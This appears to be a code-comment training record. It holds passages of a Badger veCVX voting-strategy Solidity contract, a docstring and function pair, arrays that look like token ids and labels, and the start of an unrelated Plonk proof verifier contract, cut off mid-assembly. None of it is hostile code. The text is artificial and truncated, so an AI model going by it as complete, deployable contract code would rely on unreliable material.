IUniswapRouterV2(uniswap).swapExactTokensForETH( balance, 0, path, address(this), now ); } /// @notice Add liquidity to uniswap for specified token pair, utilizing the maximum balance possible function _add_max_liquidity_uniswap(address token0, address token1) internal virtual { uint256 _token0Balance = IERC20Upgradeable(token0).balanceOf(address(this)); uint256 _token1Balance = IERC20Upgradeable(token1).balanceOf(address(this)); _safeApproveHelper(token0, uniswap, _token0Balance); _safeApproveHelper(token1, uniswap, _token1Balance); IUniswapRouterV2(uniswap).addLiquidity( token0, token1, _token0Balance, _token1Balance, 0, 0, address(this), block.timestamp ); } /// @notice Utility function to diff two numbers, expects higher value in first position function _diff(uint256 a, uint256 b) internal pure returns (uint256) { require(a >= b, "diff/expected-higher-number-in-first-position"); return a.sub(b); } // ===== Abstract Functions: To be implemented by specific Strategies ===== /// @dev Internal deposit logic to be implemented by Stratgies function _deposit(uint256 _amount) internal virtual; function _postDeposit() internal virtual { //no-op by default } /// @notice Specify tokens used in yield process, should not be available to withdraw via withdrawOther() function _onlyNotProtectedTokens(address _asset) internal virtual; function getProtectedTokens() external view virtual returns (address[] memory); /// @dev Internal logic for strategy migration. Should exit positions as efficiently as possible function _withdrawAll() internal virtual; /// @dev Internal logic for partial withdrawals. Should exit positions as efficiently as possible. /// @dev The withdraw() function shell automatically uses idle want in the strategy before attempting to withdraw more using this function _withdrawSome(uint256 _amount) internal virtual returns (uint256); /// @dev Realize returns from positions /// @dev Returns can be reinvested into positions, or distributed in another fashion /// @dev Performance fees should also be implemented in this function /// @dev Override function stub is removed as each strategy can have it's own return signature for STATICCALL // function harvest() external virtual; /// @dev User-friendly name for this strategy for purposes of convenient reading function getName() external pure virtual returns (string memory); /// @dev Balance of want currently held in strategy positions function balanceOfPool() public view virtual returns (uint256); uint256[49] private __gap; } // File: MyStrategy.sol /** * CHANGELOG * V1.0 Initial Release, can lock * V1.1 Update to handle rewards which are sent to a multisig * V1.2 Update to emit badger, all other rewards are sent to multisig * V1.3 Updated Address to claim CVX Rewards * V1.4 Updated Claiming mechanism to allow claiming any token (using difference in balances) */ contract MyStrategy is BaseStrategy { using SafeERC20Upgradeable for IERC20Upgradeable; using AddressUpgradeable for address; using SafeMathUpgradeable for uint256; uint256 public constant MAX_BPS = 10_000; // address public want // Inherited from BaseStrategy, the token the strategy wants, swaps into and tries to grow address public lpComponent; // Token we provide liquidity with address public reward; // Token we farm and swap to want / lpComponent address public constant BADGER_TREE = 0x660802Fc641b154aBA66a62137e71f331B6d787A; IDelegateRegistry public constant SNAPSHOT = IDelegateRegistry(0x469788fE6E9E9681C6ebF3bF78e7Fd26Fc015446); // The initial DELEGATE for the strategy // NOTE we can change it by using manualSetDelegate below address public constant DELEGATE = 0x14F83fF95D4Ec5E8812DDf42DA1232b0ba1015e6; bytes32 public constant DELEGATED_SPACE = 0x6376782e65746800000000000000000000000000000000000000000000000000; ISettV4 public constant CVXCRV_VAULT = ISettV4(0x2B5455aac8d64C14786c3a29858E43b5945819C0); // NOTE: At time of publishing, this contract is under audit ICvxLocker public constant LOCKER = ICvxLocker(0xD18140b4B819b895A3dba5442F959fA44994AF50); ICVXBribes public constant CVX_EXTRA_REWARDS = ICVXBribes(0xDecc7d761496d30F30b92Bdf764fb8803c79360D); IVotiumBribes public constant VOTIUM_BRIBE_CLAIMER = IVotiumBribes(0x378Ba9B73309bE80BF4C2c027aAD799766a7ED5A); // We hardcode, an upgrade is required to change this as it's a meaningful change address public constant BRIBES_RECEIVER = 0x6F76C6A1059093E21D8B1C13C4e20D8335e2909F; // We emit badger through the tree to the vault holders address public constant BADGER = 0x3472A5A71965499acd81997a54BBA8D852C6E53d; bool public withdrawalSafetyCheck = false; bool public harvestOnRebalance = false; // If nothing is unlocked, processExpiredLocks will revert bool public processLocksOnReinvest = false; bool public processLocksOnRebalance = false; // Used to signal to the Badger Tree that rewards where sent to it event TreeDistribution( address indexed token, uint256 amount, uint256 indexed blockNumber, uint256 timestamp ); event RewardsCollected( address token, uint256 amount ); event PerformanceFeeGovernance( address indexed destination, address indexed token, uint256 amount, uint256 indexed blockNumber, uint256 timestamp ); event PerformanceFeeStrategist( address indexed destination, address indexed token, uint256 amount, uint256 indexed blockNumber, uint256 timestamp ); function initialize( address _governance, address _strategist, address _controller, address _keeper, address _guardian, address[3] memory _wantConfig, uint256[3] memory _feeConfig ) public initializer { __BaseStrategy_init( _governance, _strategist, _controller, _keeper, _guardian ); /// @dev Add config here want = _wantConfig[0]; lpComponent = _wantConfig[1]; reward = _wantConfig[2]; performanceFeeGovernance = _feeConfig[0]; performanceFeeStrategist = _feeConfig[1]; withdrawalFee = _feeConfig[2]; IERC20Upgradeable(reward).safeApprove(address(CVXCRV_VAULT), type(uint256).max); /// @dev do one off approvals here // Permissions for Locker IERC20Upgradeable(want).safeApprove(address(LOCKER), type(uint256).max); // Delegate voting to DELEGATE SNAPSHOT.setDelegate(DELEGATED_SPACE, DELEGATE); } /// ===== Extra Functions ===== /// @dev Change Delegation to another address function manualSetDelegate(address delegate) external { _onlyGovernance(); // Set delegate is enough as it will clear previous delegate automatically SNAPSHOT.setDelegate(DELEGATED_SPACE, delegate); } ///@dev Should we check if the amount requested is more than what we can return on withdrawal? function setWithdrawalSafetyCheck(bool newWithdrawalSafetyCheck) external { _onlyGovernance(); withdrawalSafetyCheck = newWithdrawalSafetyCheck; } ///@dev Should we harvest before doing manual rebalancing ///@notice you most likely want to skip harvest if everything is unlocked, or there's something wrong and you just want out function setHarvestOnRebalance(bool newHarvestOnRebalance) external { _onlyGovernance(); harvestOnRebalance = newHarvestOnRebalance; } ///@dev Should we processExpiredLocks during reinvest? function setProcessLocksOnReinvest(bool newProcessLocksOnReinvest) external { _onlyGovernance(); processLocksOnReinvest = newProcessLocksOnReinvest; } ///@dev Should we processExpiredLocks during manualRebalance? function setProcessLocksOnRebalance(bool newProcessLocksOnRebalance) external { _onlyGovernance(); processLocksOnRebalance = newProcessLocksOnRebalance; } /// *** Bribe Claiming *** /// @dev given a token address, claim that as reward from CVX Extra Rewards /// @notice funds are transfered to the hardcoded address BRIBES_RECEIVER function claimBribeFromConvex (address token) external { _onlyGovernanceOrStrategist(); uint256 beforeVaultBalance = _getBalance(); uint256 beforeBalance = IERC20Upgradeable(token).balanceOf(address(this)); // Claim reward for token CVX_EXTRA_REWARDS.getReward(address(this), token); uint256 afterBalance = IERC20Upgradeable(token).balanceOf(address(this)); _handleRewardTransfer(token, afterBalance.sub(beforeBalance)); require(beforeVaultBalance == _getBalance(), "Balance can't change"); } /// @dev given a list of token addresses, claim that as reward from CVX Extra Rewards /// @notice funds are transfered to the hardcoded address BRIBES_RECEIVER function claimBribesFromConvex(address[] calldata tokens) external { _onlyGovernanceOrStrategist(); uint256 beforeVaultBalance = _getBalance(); // Revert if you try to claim a protected token, this is to avoid rugging // Also checks balance diff uint256 length = tokens.length; uint256[] memory beforeBalance = new uint256[](length); for(uint i = 0; i < length; i++){ beforeBalance[i] = IERC20Upgradeable(tokens[i]).balanceOf(address(this)); } // NOTE: If we end up getting bribes in form or protected tokens, we'll have to change // Claim reward for tokens CVX_EXTRA_REWARDS.getRewards(address(this), tokens); // Send reward to Multisig for(uint x = 0; x < length; x++){ _handleRewardTransfer(tokens[x], IERC20Upgradeable(tokens[x]).balanceOf(address(this)).sub(beforeBalance[x])); } require(beforeVaultBalance == _getBalance(), "Balance can't change"); } /// @dev given the votium data (available at: https://github.com/oo-00/Votium/tree/main/merkle) /// @dev allows claiming of rewards, badger is sent to tree function claimBribeFromVotium( address token, uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof ) external { _onlyGovernanceOrStrategist(); uint256 beforeVaultBalance = _getBalance(); // Revert if you try to claim a protected token, this is to avoid rugging // NOTE: If we end up getting bribes in form or protected tokens, we'll have to change uint256 beforeBalance = IERC20Upgradeable(token).balanceOf(address(this)); VOTIUM_BRIBE_CLAIMER.claim(token, index, account, amount, merkleProof); uint256 afterBalance = IERC20Upgradeable(token).balanceOf(address(this)); _handleRewardTransfer(token, afterBalance.sub(beforeBalance)); require(beforeVaultBalance == _getBalance(), "Balance can't change"); } /// @dev given the votium data (available at: https://github.com/oo-00/Votium/tree/main/merkle) /// @dev allows claiming of multiple rewards rewards, badger is sent to tree function claimBribesFromVotium( address account, address[] calldata tokens, uint256[] calldata indexes, uint256[] calldata amounts, bytes32[][] calldata merkleProofs ) external { _onlyGovernanceOrStrategist(); uint256 beforeVaultBalance = _getBalance(); // Revert if you try to claim a protected token, this is to avoid rugging require(tokens.length == indexes.length && tokens.length == amounts.length && tokens.length == merkleProofs.length, "Length Mismatch"); // tokens.length = length, can't declare var as stack too deep uint256[] memory beforeBalance = new uint256[](tokens.length); for(uint i = 0; i < tokens.length; i++){ beforeBalance[i] = IERC20Upgradeable(tokens[i]).balanceOf(address(this)); } // NOTE: If we end up getting bribes in form or protected tokens, we'll have to change IVotiumBribes.claimParam[] memory request = new IVotiumBribes.claimParam[](tokens.length); for(uint x = 0; x < tokens.length; x++){ request[x] = IVotiumBribes.claimParam({ token: tokens[x], index: indexes[x], amount: amounts[x], merkleProof: merkleProofs[x] }); } VOTIUM_BRIBE_CLAIMER.claimMulti(account, request); for(uint i = 0; i < tokens.length; i++){ _handleRewardTransfer(tokens[i], IERC20Upgradeable(tokens[i]).balanceOf(address(this)).sub(beforeBalance[i])); } require(beforeVaultBalance == _getBalance(), "Balance can't change"); } /// @dev Function to move rewards that are not protected /// @notice Only not protected, moves the whole amount using _handleRewardTransfer /// @notice because token paths are harcoded, this function is safe to be called by anyone function sweepRewardToken(address token) public { _onlyGovernanceOrStrategist(); _onlyNotProtectedTokens(token); uint256 toSend = IERC20Upgradeable(token).balanceOf(address(this)); _handleRewardTransfer(token, toSend); } /// @dev Bulk function for sweepRewardToken function sweepRewards(address[] calldata tokens) external { uint256 length = tokens.length; for(uint i = 0; i < length; i++){ sweepRewardToken(tokens[i]); } } /// *** Handling of rewards *** function _handleRewardTransfer(address token, uint256 amount) internal { // NOTE: BADGER is emitted through the tree if (token == BADGER){ _sendBadgerToTree(amount); } else { // NOTE: All other tokens are sent to multisig _sentTokenToBribesReceiver(token, amount); } } /// @dev Send funds to the bribes receiver function _sentTokenToBribesReceiver(address token, uint256 amount) internal { IERC20Upgradeable(token).safeTransfer(BRIBES_RECEIVER, amount); emit RewardsCollected(token, amount); } /// @dev Send the BADGER token to the badgerTree function _sendBadgerToTree(uint256 amount) internal { IERC20Upgradeable(BADGER).safeTransfer(BADGER_TREE, amount); emit TreeDistribution(BADGER, amount, block.number, block.timestamp); } /// @dev Get the current Vault.balance /// @notice this is reflexive, a change in the strat will change the balance in the vault function _getBalance() internal returns (uint256) { ISettV4 vault = ISettV4(IController(controller).vaults(want)); return vault.balance(); } /// ===== View Functions ===== function getBoostPayment() public view returns(uint256){ uint256 maximumBoostPayment = LOCKER.maximumBoostPayment(); require(maximumBoostPayment <= 1500, "over max payment"); //max 15% return maximumBoostPayment; } /// @dev Specify the name of the strategy function getName() external pure override returns (string memory) { return "veCVX Voting Strategy"; } /// @dev Specify the version of the Strategy, for upgrades function version() external pure returns (string memory) { return "1.4"; } /// @dev Balance of want currently held in strategy positions function balanceOfPool() public view override returns (uint256) { // Return the balance in locker return LOCKER.lockedBalanceOf(address(this)); } /// @dev Returns true if this strategy requires tending function isTendable() public view override returns (bool) { return false; } // @dev These are the tokens that cannot be moved except by the vault function getProtectedTokens() public view override returns (address[] memory) { address[] memory protectedTokens = new address[](3); protectedTokens[0] = want; protectedTokens[1] = lpComponent; protectedTokens[2] = reward; return protectedTokens; } /// ===== Internal Core Implementations ===== /// @dev security check to avoid moving tokens that would cause a rugpull, edit based on strat function _onlyNotProtectedTokens(address _asset) internal override { address[] memory protectedTokens = getProtectedTokens(); for (uint256 x = 0; x < protectedTokens.length; x++) { require( address(protectedTokens[x]) != _asset, "Asset is protected" ); } } /// @dev invest the amount of want /// @notice When this function is called, the controller has already sent want to this /// @notice Just get the current balance and then invest accordingly function _deposit(uint256 _amount) internal override { // Lock tokens for 16 weeks, send credit to strat, always use max boost cause why not? LOCKER.lock(address(this), _amount, getBoostPayment()); } /// @dev utility function to withdraw all CVX that we can from the lock function prepareWithdrawAll() external { manualProcessExpiredLocks(); } /// @dev utility function to withdraw everything for migration /// @dev NOTE: You cannot call this unless you have rebalanced to have only CVX left in the vault function _withdrawAll() internal override { //NOTE: This probably will always fail unless we have all tokens expired require( LOCKER.lockedBalanceOf(address(this)) == 0 && LOCKER.balanceOf(address(this)) == 0, "You have to wait for unlock or have to manually rebalance out of it" ); // Make sure to call prepareWithdrawAll before _withdrawAll } /// @dev withdraw the specified amount of want, liquidate from lpComponent to want, paying off any necessary debt for the conversion function _withdrawSome(uint256 _amount) internal override returns (uint256) { uint256 max = balanceOfWant(); if(_amount > max){ // Try to unlock, as much as possible // @notice Reverts if no locks expired LOCKER.processExpiredLocks(false); max = balanceOfWant(); } if (withdrawalSafetyCheck) { require( max >= _amount.mul(9_980).div(MAX_BPS), "Withdrawal Safety Check" ); // 20 BP of slippage } if (_amount > max) { return max; } return _amount; } /// @dev Harvest from strategy mechanics, realizing increase in underlying position function harvest() public whenNotPaused returns (uint256) { _onlyAuthorizedActors(); uint256 _beforeReward = IERC20Upgradeable(reward).balanceOf(address(this)); // Get cvxCRV LOCKER.getReward(address(this), false); // Rewards Math uint256 earnedReward = IERC20Upgradeable(reward).balanceOf(address(this)).sub(_beforeReward); uint256 cvxCrvToGovernance = earnedReward.mul(performanceFeeGovernance).div(MAX_FEE); if(cvxCrvToGovernance > 0){ CVXCRV_VAULT.depositFor(IController(controller).rewards(), cvxCrvToGovernance); emit PerformanceFeeGovernance(IController(controller).rewards(), address(CVXCRV_VAULT), cvxCrvToGovernance, block.number, block.timestamp); } uint256 cvxCrvToStrategist = earnedReward.mul(performanceFeeStrategist).div(MAX_FEE); if(cvxCrvToStrategist > 0){ CVXCRV_VAULT.depositFor(strategist, cvxCrvToStrategist); emit PerformanceFeeStrategist(strategist, address(CVXCRV_VAULT), cvxCrvToStrategist, block.number, block.timestamp); } // Send rest of earned to tree //We send all rest to avoid dust and avoid protecting the token uint256 cvxCrvToTree = IERC20Upgradeable(reward).balanceOf(address(this)); CVXCRV_VAULT.depositFor(BADGER_TREE, cvxCrvToTree); emit TreeDistribution(address(CVXCRV_VAULT), cvxCrvToTree, block.number, block.timestamp); /// @dev Harvest event that every strategy MUST have, see BaseStrategy emit Harvest(earnedReward, block.number); /// @dev Harvest must return the amount of want increased return earnedReward; } /// @dev Rebalance, Compound or Pay off debt here function tend() external whenNotPaused { revert("no op"); // NOTE: For now tend is replaced by manualRebalance } /// MANUAL FUNCTIONS /// /// @dev manual function to reinvest all CVX that was locked function reinvest() external whenNotPaused returns (uint256) { _onlyGovernance(); if (processLocksOnReinvest) { // Withdraw all we can LOCKER.processExpiredLocks(false); } // Redeposit all into veCVX uint256 toDeposit = IERC20Upgradeable(want).balanceOf(address(this)); // Redeposit into veCVX _deposit(toDeposit); return toDeposit; } /// @dev process all locks, to redeem function manualProcessExpiredLocks() public whenNotPaused { _onlyGovernance(); LOCKER.processExpiredLocks(false); // Unlock veCVX that is expired and redeem CVX back to this strat } /// @dev Send all available CVX to the Vault /// @notice you can do this so you can earn again (re-lock), or just to add to the redemption pool function manualSendCVXToVault() external whenNotPaused { _onlyGovernance(); uint256 cvxAmount = IERC20Upgradeable(want).balanceOf(address(this)); _transferToVault(cvxAmount); } /// @dev use the currently available CVX to lock /// @notice toLock = 0, lock nothing, deposit in CVX as much as you can /// @notice toLock = 10_000, lock everything (CVX) you have function manualRebalance(uint256 toLock) external whenNotPaused { _onlyGovernance(); require(toLock <= MAX_BPS, "Max is 100%"); if (processLocksOnRebalance) { // manualRebalance will revert if you have no expired locks LOCKER.processExpiredLocks(false); } if (harvestOnRebalance) { harvest(); } // Token that is highly liquid uint256 balanceOfWant = IERC20Upgradeable(want).balanceOf(address(this)); // Locked CVX in the locker uint256 balanceInLock = LOCKER.balanceOf(address(this)); uint256 totalCVXBalance = balanceOfWant.add(balanceInLock); // Amount we want to have in lock uint256 newLockAmount = totalCVXBalance.mul(toLock).div(MAX_BPS); // We can't unlock enough, no-op if (newLockAmount <= balanceInLock) { return; } // If we're continuing, then we are going to lock something uint256 cvxToLock = newLockAmount.sub(balanceInLock); // We only lock up to the available CVX uint256 maxCVX = IERC20Upgradeable(want).balanceOf(address(this)); if (cvxToLock > maxCVX) { // Just lock what we can LOCKER.lock(address(this), maxCVX, getBoostPayment()); } else { // Lock proper LOCKER.lock(address(this), cvxToLock, getBoostPayment()); } // If anything left, send to vault uint256 cvxLeft = IERC20Upgradeable(want).balanceOf(address(this)); if(cvxLeft > 0){ _transferToVault(cvxLeft); } } }
@dev Send funds to the bribes receiver
function _sentTokenToBribesReceiver(address token, uint256 amount) internal { IERC20Upgradeable(token).safeTransfer(BRIBES_RECEIVER, amount); emit RewardsCollected(token, amount); }
2,045,351
[ 1, 3826, 284, 19156, 358, 326, 324, 24322, 5971, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 7569, 1345, 774, 38, 24322, 12952, 12, 2867, 1147, 16, 2254, 5034, 3844, 13, 2713, 288, 203, 3639, 467, 654, 39, 3462, 10784, 429, 12, 2316, 2934, 4626, 5912, 12, 38, 2259, 38, 3991, 67, 27086, 45, 2204, 16, 3844, 1769, 203, 3639, 3626, 534, 359, 14727, 10808, 329, 12, 2316, 16, 3844, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: GPL-2.0-only // Copyright 2020 Spilsbury Holdings Ltd pragma solidity >=0.6.0 <0.8.0; pragma experimental ABIEncoderV2; import {Bn254Crypto} from './cryptography/Bn254Crypto.sol'; import {PolynomialEval} from './cryptography/PolynomialEval.sol'; import {Types} from './cryptography/Types.sol'; import {VerificationKeys} from './keys/VerificationKeys.sol'; import {Transcript} from './cryptography/Transcript.sol'; import {IVerifier} from '../interfaces/IVerifier.sol'; /** * @title Turbo Plonk proof verification contract * @dev Top level Plonk proof verification contract, which allows Plonk proof to be verified * * Copyright 2020 Spilsbury Holdings Ltd * * Licensed under the GNU General Public License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ contract TurboVerifier is IVerifier { using Bn254Crypto for Types.G1Point; using Bn254Crypto for Types.G2Point; using Transcript for Transcript.TranscriptData; /** * @dev Verify a Plonk proof * @param - array of serialized proof data * @param rollup_size - number of transactions in the rollup */ function verify(bytes calldata, uint256 rollup_size) external override { // extract the correct rollup verification key Types.VerificationKey memory vk = VerificationKeys.getKeyById(rollup_size); uint256 num_public_inputs = vk.num_inputs; // parse the input calldata and construct a Proof object Types.Proof memory decoded_proof = deserialize_proof(num_public_inputs, vk); Transcript.TranscriptData memory transcript; transcript.generate_initial_challenge(vk.circuit_size, vk.num_inputs); // reconstruct the beta, gamma, alpha and zeta challenges Types.ChallengeTranscript memory challenges; transcript.generate_beta_gamma_challenges(challenges, vk.num_inputs); transcript.generate_alpha_challenge(challenges, decoded_proof.Z); transcript.generate_zeta_challenge(challenges, decoded_proof.T1, decoded_proof.T2, decoded_proof.T3, decoded_proof.T4); /** * Compute all inverses that will be needed throughout the program here. * * This is an efficiency improvement - it allows us to make use of the batch inversion Montgomery trick, * which allows all inversions to be replaced with one inversion operation, at the expense of a few * additional multiplications **/ (uint256 quotient_eval, uint256 L1) = evalaute_field_operations(decoded_proof, vk, challenges); decoded_proof.quotient_polynomial_eval = quotient_eval; // reconstruct the nu and u challenges transcript.generate_nu_challenges(challenges, decoded_proof.quotient_polynomial_eval, vk.num_inputs); transcript.generate_separator_challenge(challenges, decoded_proof.PI_Z, decoded_proof.PI_Z_OMEGA); //reset 'alpha base' challenges.alpha_base = challenges.alpha; Types.G1Point memory linearised_contribution = PolynomialEval.compute_linearised_opening_terms( challenges, L1, vk, decoded_proof ); Types.G1Point memory batch_opening_commitment = PolynomialEval.compute_batch_opening_commitment( challenges, vk, linearised_contribution, decoded_proof ); uint256 batch_evaluation_g1_scalar = PolynomialEval.compute_batch_evaluation_scalar_multiplier( decoded_proof, challenges ); bool result = perform_pairing( batch_opening_commitment, batch_evaluation_g1_scalar, challenges, decoded_proof, vk ); require(result, 'Proof failed'); } /** * @dev Compute partial state of the verifier, specifically: public input delta evaluation, zero polynomial * evaluation, the lagrange evaluations and the quotient polynomial evaluations * * Note: This uses the batch inversion Montgomery trick to reduce the number of * inversions, and therefore the number of calls to the bn128 modular exponentiation * precompile. * * Specifically, each function call: compute_public_input_delta() etc. at some point needs to invert a * value to calculate a denominator in a fraction. Instead of performing this inversion as it is needed, we * instead 'save up' the denominator calculations. The inputs to this are returned from the various functions * and then we perform all necessary inversions in one go at the end of `evalaute_field_operations()`. This * gives us the various variables that need to be returned. * * @param decoded_proof - deserialised proof * @param vk - verification key * @param challenges - all challenges (alpha, beta, gamma, zeta, nu[NUM_NU_CHALLENGES], u) stored in * ChallengeTranscript struct form * @return quotient polynomial evaluation (field element) and lagrange 1 evaluation (field element) */ function evalaute_field_operations( Types.Proof memory decoded_proof, Types.VerificationKey memory vk, Types.ChallengeTranscript memory challenges ) internal view returns (uint256, uint256) { uint256 public_input_delta; uint256 zero_polynomial_eval; uint256 l_start; uint256 l_end; { (uint256 public_input_numerator, uint256 public_input_denominator) = PolynomialEval.compute_public_input_delta( challenges, vk ); ( uint256 vanishing_numerator, uint256 vanishing_denominator, uint256 lagrange_numerator, uint256 l_start_denominator, uint256 l_end_denominator ) = PolynomialEval.compute_lagrange_and_vanishing_fractions(vk, challenges.zeta); (zero_polynomial_eval, public_input_delta, l_start, l_end) = PolynomialEval.compute_batch_inversions( public_input_numerator, public_input_denominator, vanishing_numerator, vanishing_denominator, lagrange_numerator, l_start_denominator, l_end_denominator ); } uint256 quotient_eval = PolynomialEval.compute_quotient_polynomial( zero_polynomial_eval, public_input_delta, challenges, l_start, l_end, decoded_proof ); return (quotient_eval, l_start); } /** * @dev Perform the pairing check * @param batch_opening_commitment - G1 point representing the calculated batch opening commitment * @param batch_evaluation_g1_scalar - uint256 representing the batch evaluation scalar multiplier to be applied to the G1 generator point * @param challenges - all challenges (alpha, beta, gamma, zeta, nu[NUM_NU_CHALLENGES], u) stored in * ChallengeTranscript struct form * @param vk - verification key * @param decoded_proof - deserialised proof * @return bool specifying whether the pairing check was successful */ function perform_pairing( Types.G1Point memory batch_opening_commitment, uint256 batch_evaluation_g1_scalar, Types.ChallengeTranscript memory challenges, Types.Proof memory decoded_proof, Types.VerificationKey memory vk ) internal view returns (bool) { uint256 u = challenges.u; bool success; uint256 p = Bn254Crypto.r_mod; Types.G1Point memory rhs; Types.G1Point memory PI_Z_OMEGA = decoded_proof.PI_Z_OMEGA; Types.G1Point memory PI_Z = decoded_proof.PI_Z; PI_Z.validateG1Point(); PI_Z_OMEGA.validateG1Point(); // rhs = zeta.[PI_Z] + u.zeta.omega.[PI_Z_OMEGA] + [batch_opening_commitment] - batch_evaluation_g1_scalar.[1] // scope this block to prevent stack depth errors { uint256 zeta = challenges.zeta; uint256 pi_z_omega_scalar = vk.work_root; assembly { pi_z_omega_scalar := mulmod(pi_z_omega_scalar, zeta, p) pi_z_omega_scalar := mulmod(pi_z_omega_scalar, u, p) batch_evaluation_g1_scalar := sub(p, batch_evaluation_g1_scalar) // store accumulator point at mptr let mPtr := mload(0x40) // set accumulator = batch_opening_commitment mstore(mPtr, mload(batch_opening_commitment)) mstore(add(mPtr, 0x20), mload(add(batch_opening_commitment, 0x20))) // compute zeta.[PI_Z] and add into accumulator mstore(add(mPtr, 0x40), mload(PI_Z)) mstore(add(mPtr, 0x60), mload(add(PI_Z, 0x20))) mstore(add(mPtr, 0x80), zeta) success := staticcall(gas(), 7, add(mPtr, 0x40), 0x60, add(mPtr, 0x40), 0x40) success := and(success, staticcall(gas(), 6, mPtr, 0x80, mPtr, 0x40)) // compute u.zeta.omega.[PI_Z_OMEGA] and add into accumulator mstore(add(mPtr, 0x40), mload(PI_Z_OMEGA)) mstore(add(mPtr, 0x60), mload(add(PI_Z_OMEGA, 0x20))) mstore(add(mPtr, 0x80), pi_z_omega_scalar) success := and(success, staticcall(gas(), 7, add(mPtr, 0x40), 0x60, add(mPtr, 0x40), 0x40)) success := and(success, staticcall(gas(), 6, mPtr, 0x80, mPtr, 0x40)) // compute -batch_evaluation_g1_scalar.[1] mstore(add(mPtr, 0x40), 0x01) // hardcoded generator point (1, 2) mstore(add(mPtr, 0x60), 0x02) mstore(add(mPtr, 0x80), batch_evaluation_g1_scalar) success := and(success, staticcall(gas(), 7, add(mPtr, 0x40), 0x60, add(mPtr, 0x40), 0x40)) // add -batch_evaluation_g1_scalar.[1] and the accumulator point, write result into rhs success := and(success, staticcall(gas(), 6, mPtr, 0x80, rhs, 0x40)) } } Types.G1Point memory lhs; assembly { // store accumulator point at mptr let mPtr := mload(0x40) // copy [PI_Z] into mPtr mstore(mPtr, mload(PI_Z)) mstore(add(mPtr, 0x20), mload(add(PI_Z, 0x20))) // compute u.[PI_Z_OMEGA] and write to (mPtr + 0x40) mstore(add(mPtr, 0x40), mload(PI_Z_OMEGA)) mstore(add(mPtr, 0x60), mload(add(PI_Z_OMEGA, 0x20))) mstore(add(mPtr, 0x80), u) success := and(success, staticcall(gas(), 7, add(mPtr, 0x40), 0x60, add(mPtr, 0x40), 0x40)) // add [PI_Z] + u.[PI_Z_OMEGA] and write result into lhs success := and(success, staticcall(gas(), 6, mPtr, 0x80, lhs, 0x40)) } // negate lhs y-coordinate uint256 q = Bn254Crypto.p_mod; assembly { mstore(add(lhs, 0x20), sub(q, mload(add(lhs, 0x20)))) } if (vk.contains_recursive_proof) { // If the proof itself contains an accumulated proof, // we will have extracted two G1 elements `recursive_P1`, `recursive_p2` from the public inputs // We need to evaluate that e(recursive_P1, [x]_2) == e(recursive_P2, [1]_2) to finish verifying the inner proof // We do this by creating a random linear combination between (lhs, recursive_P1) and (rhs, recursivee_P2) // That way we still only need to evaluate one pairing product // We use `challenge.u * challenge.u` as the randomness to create a linear combination // challenge.u is produced by hashing the entire transcript, which contains the public inputs (and by extension the recursive proof) // i.e. [lhs] = [lhs] + u.u.[recursive_P1] // [rhs] = [rhs] + u.u.[recursive_P2] Types.G1Point memory recursive_P1 = decoded_proof.recursive_P1; Types.G1Point memory recursive_P2 = decoded_proof.recursive_P2; recursive_P1.validateG1Point(); recursive_P2.validateG1Point(); assembly { let mPtr := mload(0x40) // compute u.u.[recursive_P1] mstore(mPtr, mload(recursive_P1)) mstore(add(mPtr, 0x20), mload(add(recursive_P1, 0x20))) mstore(add(mPtr, 0x40), 